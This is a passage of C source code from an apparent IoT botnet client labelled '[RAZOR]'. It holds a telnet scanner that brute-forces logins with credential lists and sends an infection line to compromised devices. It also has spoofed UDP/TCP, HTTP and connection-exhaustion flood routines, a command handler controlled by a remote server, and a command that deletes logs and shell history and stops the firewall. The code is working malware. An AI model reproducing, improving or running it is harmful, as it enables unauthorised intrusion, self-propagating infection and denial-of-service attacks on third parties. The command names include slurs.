  829. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  830. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  831. }
  832. break;
  833.  
  834. case 1:
  835. {
  836. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  837.  
  838. FD_ZERO(&myset);
  839. FD_SET(fds[i].fd, &myset);
  840. tv.tv_sec = 0;
  841. tv.tv_usec = 10000;
  842. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  843. if(res == 1)
  844. {
  845. lon = sizeof(int);
  846. valopt = 0;
  847. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  848. if(valopt)
  849. {
  850. sclose(fds[i].fd);
  851. fds[i].state = 0;
  852. fds[i].complete = 1;
  853. } else {
  854. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  855. fds[i].totalTimeout = 0;
  856. fds[i].bufUsed = 0;
  857. memset(fds[i].sockbuf, 0, 1024);
  858. fds[i].state = 2;
  859. continue;
  860. }
  861. } else if(res == -1)
  862. {
  863. sclose(fds[i].fd);
  864. fds[i].state = 0;
  865. fds[i].complete = 1;
  866. }
  867.  
  868. if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  869. {
  870. sclose(fds[i].fd);
  871. fds[i].state = 0;
  872. fds[i].complete = 1;
  873. }
  874. }
  875. break;
  876.  
  877. case 2:
  878. {
  879. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  880. if(matchPrompt(fds[i].sockbuf)) {
  881. fds[i].state = 7;
  882. }
  883.  
  884. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  885. {
  886. fds[i].totalTimeout = 0;
  887. fds[i].bufUsed = 0;
  888. memset(fds[i].sockbuf, 0, 1024);
  889. fds[i].state = 3;
  890. continue;
  891. } else {
  892. fds[i].bufUsed = strlen(fds[i].sockbuf);
  893. }
  894.  
  895. if(fds[i].totalTimeout + 30 < time(NULL))
  896. {
  897. sclose(fds[i].fd);
  898. fds[i].state = 0;
  899. fds[i].complete = 1;
  900. }
  901. }
  902. break;
  903.  
  904. case 3:
  905. {
  906. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  907. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  908. fds[i].state = 4;
  909. }
  910. break;
  911.  
  912. case 4:
  913. {
  914. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  915.  
  916. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  917. {
  918. sockprintf(mainCommSock, "[RAZOR] \x1b[34mATTEMPT \x1b[37m-> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  919. fds[i].totalTimeout = 0;
  920. fds[i].bufUsed = 0;
  921. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  922. else fds[i].state = 7;
  923. memset(fds[i].sockbuf, 0, 1024);
  924. continue;
  925. } else {
  926. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  927. fds[i].bufUsed = strlen(fds[i].sockbuf);
  928. }
  929.  
  930. if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  931. {
  932. sclose(fds[i].fd);
  933. fds[i].state = 0;
  934. fds[i].complete = 1;
  935. }
  936. }
  937. break;
  938.  
  939. case 5:
  940. {
  941. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  942. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  943. fds[i].state = 6;
  944. }
  945. break;
  946.  
  947. case 6:
  948. {
  949. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  950.  
  951. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  952. {
  953. fds[i].totalTimeout = 0;
  954. fds[i].bufUsed = 0;
  955. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  956. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  957. else fds[i].state = 7;
  958. memset(fds[i].sockbuf, 0, 1024);
  959. continue;
  960. } else {
  961. fds[i].bufUsed = strlen(fds[i].sockbuf);
  962. }
  963.  
  964. if(fds[i].totalTimeout + 30 < time(NULL))
  965. {
  966. sclose(fds[i].fd);
  967. fds[i].state = 0;
  968. fds[i].complete = 1;
  969. }
  970. }
  971. break;
  972.  
  973. case 7:
  974. {
  975. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  976. fds[i].state = 8;
  977. }
  978. break;
  979.  
  980. case 8:
  981. {
  982. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  983.  
  984. if(send(fds[i].fd, infectline, strlen(infectline), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  985. sockprintf(mainCommSock, "[RAZOR] \x1b[32mEXECUTED \x1b[37m-> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  986.  
  987. if(fds[i].totalTimeout + 8 < time(NULL)) {
  988. sockprintf(mainCommSock, "[RAZOR] \x1b[31mUNSUCCESSFUL \x1b[37m-> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  989. sclose(fds[i].fd);
  990. fds[i].state = 0;
  991. fds[i].complete = 1;
  992. }
  993. }
  994. break;
  995. }
  996. }
  997. }
  998. }
  999.  
  1000. void sendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  1001. struct sockaddr_in dest_addr;
  1002. dest_addr.sin_family = AF_INET;
  1003. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1004. else dest_addr.sin_port = htons(port);
  1005. if(getHost(target, &dest_addr.sin_addr)) return;
  1006. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1007. register unsigned int pollRegister;
  1008. pollRegister = pollinterval;
  1009. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1010. if(!sockfd) {
  1011. return;
  1012. }
  1013. int tmp = 1;
  1014. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1015. return;
  1016. }
  1017. int counter = 50;
  1018. while(counter--) {
  1019. srand(time(NULL) ^ rand_cmwc());
  1020. init_rand(rand());
  1021. }
  1022. in_addr_t netmask;
  1023. netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1024. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1025. struct iphdr *iph = (struct iphdr *)packet;
  1026. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1027. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1028. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1029. udph->source = rand_cmwc();
  1030. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1031. udph->check = 0;
  1032. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1033. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1034. int end = time(NULL) + timeEnd;
  1035. register unsigned int i = 0;
  1036. while(1) {
  1037. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1038. udph->source = rand_cmwc();
  1039. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1040. iph->id = rand_cmwc();
  1041. iph->saddr = htonl( getRandomIP(netmask) );
  1042. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1043. if(i == pollRegister) {
  1044. if(time(NULL) > end) break;
  1045. i = 0;
  1046. continue;
  1047. }
  1048. i++;
  1049. }
  1050. }
  1051.  
  1052.  
  1053. int socket_connect(char *host, in_port_t port) {
  1054. struct hostent *hp;
  1055. struct sockaddr_in addr;
  1056. int on = 1, sock;
  1057. if ((hp = gethostbyname(host)) == NULL) return 0;
  1058. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1059. addr.sin_port = htons(port);
  1060. addr.sin_family = AF_INET;
  1061. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1062. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1063. if (sock == -1) return 0;
  1064. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1065. return sock;
  1066. }
  1067. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1068. int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1069. char request[512], buffer[1];
  1070. for (i = 0; i < power; i++) {
  1071. sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, uastrings[(rand() % 36)]);
  1072. if (fork()) {
  1073. while (end > time(NULL)) {
  1074. socket = socket_connect(host, port);
  1075. if (socket != 0) {
  1076. write(socket, request, strlen(request));
  1077. read(socket, buffer, 1);
  1078. close(socket);
  1079. }
  1080. }
  1081. exit(0);
  1082. }
  1083. }
  1084. }
  1085.  
  1086. void sendCNC(unsigned char *ip,int port, int end_time)
  1087. {
  1088. int end = time(NULL) + end_time;
  1089. int sockfd;
  1090. struct sockaddr_in server;
  1091. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1092.  
  1093. server.sin_addr.s_addr = inet_addr(ip);
  1094. server.sin_family = AF_INET;
  1095. server.sin_port = htons(port);
  1096.  
  1097. while(end > time(NULL))
  1098. {
  1099. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1100. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1101. sleep(1);
  1102. close(sockfd);
  1103. }
  1104.  
  1105. }
  1106.  
  1107.  
  1108. void sendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1109. register unsigned int pollRegister;
  1110. pollRegister = pollinterval;
  1111. struct sockaddr_in dest_addr;
  1112. dest_addr.sin_family = AF_INET;
  1113. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1114. else dest_addr.sin_port = htons(port);
  1115. if(getHost(target, &dest_addr.sin_addr)) return;
  1116. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1117. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1118. if(!sockfd) { return; }
  1119. int tmp = 1;
  1120. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1121. in_addr_t netmask;
  1122. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1123. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1124. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1125. struct iphdr *iph = (struct iphdr *)packet;
  1126. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1127. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1128. tcph->source = rand_cmwc();
  1129. tcph->seq = rand_cmwc();
  1130. tcph->ack_seq = 0;
  1131. tcph->doff = 5;
  1132. if(!strcmp(flags, "all")) {
  1133. tcph->syn = 1;
  1134. tcph->rst = 1;
  1135. tcph->fin = 1;
  1136. tcph->ack = 1;
  1137. tcph->psh = 1;
  1138. } else {
  1139. unsigned char *pch = strtok(flags, ",");
  1140. while(pch) {
  1141. if(!strcmp(pch, "syn")) { tcph->syn = 1;
  1142. } else if(!strcmp(pch, "rst")) { tcph->rst = 1;
  1143. } else if(!strcmp(pch, "fin")) { tcph->fin = 1;
  1144. } else if(!strcmp(pch, "ack")) { tcph->ack = 1;
  1145. } else if(!strcmp(pch, "psh")) { tcph->psh = 1;
  1146. } else {
  1147. }
  1148. pch = strtok(NULL, ",");
  1149. }
  1150. }
  1151. tcph->window = rand_cmwc();
  1152. tcph->check = 0;
  1153. tcph->urg_ptr = 0;
  1154. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1155. tcph->check = tcpcsum(iph, tcph);
  1156. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1157. int end = time(NULL) + timeEnd;
  1158. register unsigned int i = 0;
  1159. while(1) {
  1160. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1161. iph->saddr = htonl( getRandomIP(netmask) );
  1162. iph->id = rand_cmwc();
  1163. tcph->seq = rand_cmwc();
  1164. tcph->source = rand_cmwc();
  1165. tcph->check = 0;
  1166. tcph->check = tcpcsum(iph, tcph);
  1167. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1168. if(i == pollRegister) {
  1169. if(time(NULL) > end) break;
  1170. i = 0;
  1171. continue;
  1172. }
  1173. i++;
  1174. }
  1175. }
  1176. void sendJUNK(unsigned char *ip, int port, int end_time)
  1177. {
  1178.  
  1179. int max = getdtablesize() / 2, i;
  1180.  
  1181. struct sockaddr_in dest_addr;
  1182. dest_addr.sin_family = AF_INET;
  1183. dest_addr.sin_port = htons(port);
  1184. if(getHost(ip, &dest_addr.sin_addr)) return;
  1185. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1186.  
  1187. struct state_t
  1188. {
  1189. int fd;
  1190. uint8_t state;
  1191. } fds[max];
  1192. memset(fds, 0, max * (sizeof(int) + 1));
  1193.  
  1194. fd_set myset;
  1195. struct timeval tv;
  1196. socklen_t lon;
  1197. int valopt, res;
  1198.  
  1199. unsigned char *watwat = malloc(1024);
  1200. memset(watwat, 0, 1024);
  1201.  
  1202. int end = time(NULL) + end_time;
  1203. while(end > time(NULL))
  1204. {
  1205. for(i = 0; i < max; i++)
  1206. {
  1207. switch(fds[i].state)
  1208. {
  1209. case 0:
  1210. {
  1211. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1212. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1213. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1214. else fds[i].state = 1;
  1215. }
  1216. break;
  1217.  
  1218. case 1:
  1219. {
  1220. FD_ZERO(&myset);
  1221. FD_SET(fds[i].fd, &myset);
  1222. tv.tv_sec = 0;
  1223. tv.tv_usec = 10000;
  1224. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1225. if(res == 1)
  1226. {
  1227. lon = sizeof(int);
  1228. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1229. if(valopt)
  1230. {
  1231. close(fds[i].fd);
  1232. fds[i].state = 0;
  1233. } else {
  1234. fds[i].state = 2;
  1235. }
  1236. } else if(res == -1)
  1237. {
  1238. close(fds[i].fd);
  1239. fds[i].state = 0;
  1240. }
  1241. }
  1242. break;
  1243.  
  1244. case 2:
  1245. {
  1246. makeRandomStr(watwat, 1024);
  1247. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1248. {
  1249. close(fds[i].fd);
  1250. fds[i].state = 0;
  1251. }
  1252. }
  1253. break;
  1254. }
  1255. }
  1256. }
  1257. }
  1258.  
  1259. void sendHOLD(unsigned char *ip, int port, int end_time)
  1260. {
  1261.  
  1262. int max = getdtablesize() / 2, i;
  1263.  
  1264. struct sockaddr_in dest_addr;
  1265. dest_addr.sin_family = AF_INET;
  1266. dest_addr.sin_port = htons(port);
  1267. if(getHost(ip, &dest_addr.sin_addr)) return;
  1268. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1269.  
  1270. struct state_t
  1271. {
  1272. int fd;
  1273. uint8_t state;
  1274. } fds[max];
  1275. memset(fds, 0, max * (sizeof(int) + 1));
  1276.  
  1277. fd_set myset;
  1278. struct timeval tv;
  1279. socklen_t lon;
  1280. int valopt, res;
  1281.  
  1282. unsigned char *watwat = malloc(1024);
  1283. memset(watwat, 0, 1024);
  1284.  
  1285. int end = time(NULL) + end_time;
  1286. while(end > time(NULL))
  1287. {
  1288. for(i = 0; i < max; i++)
  1289. {
  1290. switch(fds[i].state)
  1291. {
  1292. case 0:
  1293. {
  1294. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1295. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1296. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1297. else fds[i].state = 1;
  1298. }
  1299. break;
  1300.  
  1301. case 1:
  1302. {
  1303. FD_ZERO(&myset);
  1304. FD_SET(fds[i].fd, &myset);
  1305. tv.tv_sec = 0;
  1306. tv.tv_usec = 10000;
  1307. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1308. if(res == 1)
  1309. {
  1310. lon = sizeof(int);
  1311. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1312. if(valopt)
  1313. {
  1314. close(fds[i].fd);
  1315. fds[i].state = 0;
  1316. } else {
  1317. fds[i].state = 2;
  1318. }
  1319. } else if(res == -1)
  1320. {
  1321. close(fds[i].fd);
  1322. fds[i].state = 0;
  1323. }
  1324. }
  1325. break;
  1326.  
  1327. case 2:
  1328. {
  1329. FD_ZERO(&myset);
  1330. FD_SET(fds[i].fd, &myset);
  1331. tv.tv_sec = 0;
  1332. tv.tv_usec = 10000;
  1333. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1334. if(res != 0)
  1335. {
  1336. close(fds[i].fd);
  1337. fds[i].state = 0;
  1338. }
  1339. }
  1340. break;
  1341. }
  1342. }
  1343. }
  1344. }
  1345.  
  1346. void processCmd(int argc, unsigned char *argv[])
  1347. {
  1348. int x;
  1349. if(!strcmp(argv[0], "PING"))
  1350. {
  1351. sockprintf(mainCommSock, "PONG!");
  1352. return;
  1353. }
  1354.  
  1355. if(!strcmp(argv[0], "GETLOCALIP"))
  1356. {
  1357. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1358. return;
  1359. }
  1360.  
  1361. if(!strcmp(argv[0], "SCANNER"))
  1362. {
  1363. if(argc != 2)
  1364. {
  1365. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1366. return;
  1367. }
  1368.  
  1369. if(!strcmp(argv[1], "OFF"))
  1370. {
  1371. if(scanPid == 0) return;
  1372. kill(scanPid, 9);
  1373. sockprintf(mainCommSock, "STOPPING TELNET SCANNER");
  1374. scanPid = 0;
  1375. }
  1376.  
  1377. if(!strcmp(argv[1], "ON"))
  1378. {
  1379. if(scanPid != 0) return;
  1380. uint32_t parent;
  1381. parent = fork();
  1382.  
  1383. if (parent > 0) { scanPid = parent; return;}
  1384. else if(parent == -1) return;
  1385. sockprintf(mainCommSock, "STARTING TELNET SCANNER");
  1386. StartTheLelz();
  1387. _exit(0);
  1388. }
  1389. }
  1390.  
  1391. if(!strcmp(argv[0], "HOLD"))
  1392. {
  1393. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1394. {
  1395. //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1396. return;
  1397. }
  1398.  
  1399. unsigned char *ip = argv[1];
  1400. int port = atoi(argv[2]);
  1401. int time = atoi(argv[3]);
  1402.  
  1403. if(strstr(ip, ",") != NULL)
  1404. {
  1405. unsigned char *hi = strtok(ip, ",");
  1406. while(hi != NULL)
  1407. {
  1408. if(!listFork())
  1409. {
  1410. sendHOLD(hi, port, time);
  1411. _exit(0);
  1412. }
  1413. hi = strtok(NULL, ",");
  1414. }
  1415. } else {
  1416. if (listFork()) { return; }
  1417.  
  1418. sendHOLD(ip, port, time);
  1419. _exit(0);
  1420. }
  1421. }
  1422.  
  1423. if(!strcmp(argv[0], "JUNK"))
  1424. {
  1425. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1426. {
  1427. //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1428. return;
  1429. }
  1430.  
  1431. unsigned char *ip = argv[1];
  1432. int port = atoi(argv[2]);
  1433. int time = atoi(argv[3]);
  1434.  
  1435. if(strstr(ip, ",") != NULL)
  1436. {
  1437. unsigned char *hi = strtok(ip, ",");
  1438. while(hi != NULL)
  1439. {
  1440. if(!listFork())
  1441. {
  1442. sendJUNK(hi, port, time);
  1443. close(mainCommSock);
  1444. _exit(0);
  1445. }
  1446. hi = strtok(NULL, ",");
  1447. }
  1448. } else {
  1449. if (listFork()) { return; }
  1450.  
  1451. sendJUNK(ip, port, time);
  1452. _exit(0);
  1453. }
  1454. }
  1455.  
  1456. if(!strcmp(argv[0], "UDP")) { /* UDPFLOOD TARGET PORT TIME PACKETSIZE POLLINTERVAL */
  1457. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1)) {
  1458. return;
  1459. }
  1460. unsigned char *ip = argv[1];
  1461. int port = atoi(argv[2]);
  1462. int time = atoi(argv[3]);
  1463. int packetsize = atoi(argv[4]);
  1464. int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1465. int spoofed = 32;
  1466. if(strstr(ip, ",") != NULL) {
  1467. unsigned char *hi = strtok(ip, ",");
  1468. while(hi != NULL) {
  1469. if(!listFork()) {
  1470. sendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1471. _exit(0);
  1472. }
  1473. hi = strtok(NULL, ",");
  1474. }
  1475. } else {
  1476. if (listFork()) { return; }
  1477. sendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1478. _exit(0);
  1479. }
  1480. }
  1481.  
  1482. if (!strcmp(argv[0], "HTTP")) { /* HTTPFLOOD METHOD TARGET PORT PATH TIME POWER */ // !* HTTPFLOOD POST/GET/HEAD hackforums.net 80 / 10 100
  1483. if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1484. if (listFork()) return;
  1485. sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1486. exit(0);
  1487. }
  1488.  
  1489. if(!strcmp(argv[0], "CNC"))
  1490. {
  1491. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1492. {
  1493.  
  1494. return;
  1495. }
  1496.  
  1497. unsigned char *ip = argv[1];
  1498. int port = atoi(argv[2]);
  1499. int time = atoi(argv[3]);
  1500.  
  1501. if(strstr(ip, ",") != NULL)
  1502. {
  1503. unsigned char *hi = strtok(ip, ",");
  1504. while(hi != NULL)
  1505. {
  1506. if(!listFork())
  1507. {
  1508. sendCNC(hi, port, time);
  1509. close(mainCommSock);
  1510. _exit(0);
  1511. }
  1512. hi = strtok(NULL, ",");
  1513. }
  1514. } else {
  1515. if (listFork()) { return; }
  1516.  
  1517. sendCNC(ip, port, time);
  1518. _exit(0);
  1519. }
  1520. }
  1521.  
  1522. if(!strcmp(argv[0], "COMBO"))
  1523. {
  1524. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1525. {
  1526.  
  1527. return;
  1528. }
  1529.  
  1530. unsigned char *ip = argv[1];
  1531. int port = atoi(argv[2]);
  1532. int time = atoi(argv[3]);
  1533.  
  1534. if(strstr(ip, ",") != NULL)
  1535. {
  1536. unsigned char *hi = strtok(ip, ",");
  1537. while(hi != NULL)
  1538. {
  1539. if(!listFork())
  1540. {
  1541. sendJUNK(hi, port, time);
  1542. sendHOLD(hi, port, time);
  1543. close(mainCommSock);
  1544. _exit(0);
  1545. }
  1546. hi = strtok(NULL, ",");
  1547. }
  1548. } else {
  1549. if (listFork()) { return; }
  1550.  
  1551. sendJUNK(ip, port, time);
  1552. sendHOLD(ip, port, time);
  1553. _exit(0);
  1554. }
  1555. }
  1556.  
  1557. if(!strcmp(argv[0], "TCP")) { /* TCPFLOOD TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL */
  1558. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1)){
  1559. return;
  1560. }
  1561. unsigned char *ip = argv[1];
  1562. int port = atoi(argv[2]);
  1563. int time = atoi(argv[3]);
  1564. unsigned char *flags = argv[4];
  1565. int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  1566. int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  1567. int spoofed = 32;
  1568. if(strstr(ip, ",") != NULL) {
  1569. unsigned char *hi = strtok(ip, ",");
  1570. while(hi != NULL) {
  1571. if(!listFork()) {
  1572. sendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  1573. _exit(0);
  1574. }
  1575. hi = strtok(NULL, ",");
  1576. }
  1577. } else {
  1578. if (listFork()) { return; }
  1579. sendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  1580. _exit(0);
  1581. }
  1582. }
  1583. if(!strcmp(argv[0], "KILLATTK"))
  1584. {
  1585. int killed = 0;
  1586. unsigned long i;
  1587. for (i = 0; i < numpids; i++) {
  1588. if (pids[i] != 0 && pids[i] != getpid()) {
  1589. kill(pids[i], 9);
  1590. killed++;
  1591. }
  1592. }
  1593. }
  1594.  
  1595. if(!strcmp(argv[0], "GTFOFAG"))
  1596. {
  1597. exit(0);
  1598. }
  1599.  
  1600. if(!strcmp(argv[0], "FATCOCK"))
  1601. {
  1602. system("rm -rf /var/log/wtmp");
  1603. system("rm -rf /tmp/*");
  1604. system("history -c");
  1605. system("rm -rf ~/.bash_history");
  1606. system("rm -rf /bin/netstat");
  1607. system("history -w");
  1608. system("killall -9 perl");
  1609. system("service iptables stop");
  1610. }
  1611.  
  1612. }
  1613.  
  1614. int initConnection()
  1615. {
  1616. unsigned char server[4096];
  1617. memset(server, 0, 4096);
  1618. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1619. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1620. else currentServer++;
  1621.  
  1622. strcpy(server, commServer[currentServer]);
  1623. int port = 23;
  1624. if(strchr(server, ':') != NULL)
  1625. {
  1626. port = atoi(strchr(server, ':') + 1);
  1627. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1628. }
  1629.  
  1630. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1631.  
  1632. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1633.  
  1634. return 0;
  1635. }
  1636.  
  1637. int getOurIP()
  1638. {
  1639. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1640. if(sock == -1) return 0;
  1641.  
  1642. struct sockaddr_in serv;
  1643. memset(&serv, 0, sizeof(serv));
  1644. serv.sin_family = AF_INET;
  1645. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1646. serv.sin_port = htons(53);
  1647.  
  1648. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1649. if(err == -1) return 0;
  1650.  
  1651. struct sockaddr_in name;
  1652. socklen_t namelen = sizeof(name);
  1653. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1654. if(err == -1) return 0;
  1655.  
  1656. ourIP.s_addr = name.sin_addr.s_addr;
  1657.  
  1658. int cmdline = open("/proc/net/route", O_RDONLY);
  1659. char linebuf[4096];
  1660. while(fdgets(linebuf, 4096, cmdline) != NULL)
  1661. {
  1662. if(strstr(linebuf, "\t00000000\t") != NULL)
  1663. {
  1664. unsigned char *pos = linebuf;
  1665. while(*pos != '\t') pos++;
  1666. *pos = 0;
  1667. break;
  1668. }
  1669. memset(linebuf, 0, 4096);
  1670. }
  1671. close(cmdline);
  1672.  
  1673. if(*linebuf)
  1674. {
  1675. int i;
  1676. struct ifreq ifr;
  1677. strcpy(ifr.ifr_name, linebuf);
  1678. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1679. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1680. }
  1681.  
  1682. close(sock);
  1683. }
